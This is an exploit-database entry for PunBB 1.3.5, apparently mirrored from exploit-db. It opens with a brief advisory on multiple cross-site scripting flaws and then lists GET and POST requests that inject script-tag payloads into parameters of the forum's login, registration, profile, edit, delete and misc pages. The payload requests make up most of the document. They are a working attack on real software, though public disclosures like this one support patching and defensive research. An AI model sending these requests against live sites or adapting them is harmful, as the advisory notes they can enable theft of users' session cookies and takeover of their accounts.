PunBB 1.3.5 – Multiple Cross-Site Scripting Vulnerabilities

  • 作者: Piotr Duszynski
    日期: 2011-09-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36137/
  • source: https://www.securityfocus.com/bid/49660/info
    
    PunBB is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
    An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 
    
    GET
    /login.php?action=out&id=3&csrf_token=4b072f27396cec5d79"/><script>alert(oink)</script>
    GET
    /misc.php?action=markforumread&fid=1&csrf_token=c173cabad786"/><script>alert(oink)</script>
    
    POST /delete.php?id=>"&#039;><script>alert(oink)</script>
    form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_confirm=>"&#039;><script>alert(oink)</script>&delete=>"&#039;><script>alert(oink)</
    script>
    
    POST /edit.php?id=>"&#039;><script>alert(oink)</script>
    form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_message=>"&#039;><script>alert(oink)</script>&submit=>"&#039;><script>alert(oink)</
    script>
    
    POST /login.php?action=>"&#039;><script>alert(oink)</script>
    form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_email=>"&#039;><script>alert(oink)</script>&request_pass=>"&#039;><script>alert(oin
    k)</script>
    
    POST /misc.php?email=>"&#039;><script>alert(oink)</script>
    form_sent=>"&#039;><script>alert(oink)</script>&redirect_url=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_subject=>"&#039;><script>alert(o
    ink)</script>&req_message=>"&#039;><script>alert(oink)</script>&submit=>"&#039;><script>alert(oink)</script>
    
    POST
    /profile.php?action=>"&#039;><script>alert(oink)</script>&id=>"&#039;><script>alert(oink)</script>
    form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_old_password=>"&#039;><script>alert(oink)</script>&req_new_password1=>"&#039;><scri
    pt>alert(oink)</script>&req_new_password2=>"&#039;><script>alert(oink)</script>&update=>"&#039;><script>alert(oink)</script>
    
    POST /register.php?action=>"&#039;><script>alert(oink)</script>
    form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_username=>"&#039;><script>alert(oink)</script>&req_password1=>"&#039;><script>alert
    (oink)</script>&req_password2=>"&#039;><script>alert(369448)</script>&req_email1=>"&#039;><script>alert(oink)</script>&timezone=>"&#039;><script>alert(oink)</script>&register=>"&#039;>
    <script>alert(oink)</script>